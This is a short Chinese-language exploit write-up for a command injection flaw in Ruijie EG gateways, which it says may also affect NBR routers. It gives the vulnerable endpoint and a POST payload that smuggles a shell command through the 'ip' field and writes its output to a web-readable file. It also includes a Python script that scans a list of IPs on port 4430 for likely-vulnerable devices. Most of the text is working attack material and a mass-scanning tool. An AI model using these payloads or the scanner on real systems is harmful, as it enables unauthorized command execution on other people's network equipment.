这里是在EG易网关中测试出来的,不知NBR路由器是否存在
测试poc
/guest_auth/guestIsUp.php
如果没有返回任何信息,且状态码为200,那么很大可能存在远程命令执行
payload1-命令执行结果写入文件
将whoami命令执行结果写入到xxoo.txt文件中
POST /guest_auth/guestIsUp.php
mac=1&ip=127.0.0.1|whoami > xxoo.txt
payload2-访问写入的文件
url访问被写入的文件
http://xx.xx.xx.xx/guest_auth/xxoo.txt
获取到目标当前用户和当前目录下的文件
简单脚本
这个脚本根据状态码判断的,不一定准确,并且4430端口返回200不一定就是锐捷的设备
import requests
import logging
logging.captureWarnings(True) #忽略警告
fopen=open("4430.txt",'r')
lines=fopen.readlines()
#print(lines)
for ip in lines:
ip=ip.strip()
#print("正在测试"+ip)
try:
#print("https://" + ip + ":4430/guest_auth/guestIsUp.php")
r = requests.get("https://"+ip+":4430/guest_auth/guestIsUp.php", verify=False,timeout=1)
#print(r.status_code)
#print(r.text)
if r.status_code==200:
print("#################"+ip+"可能存在锐捷命令执行漏洞#################")
else:
print(ip+"存在锐捷网关,但不存在漏洞")
except:
pass
还有一种遇到的锐捷EG易网关与NBR路由器——命令执行漏洞,点击传送门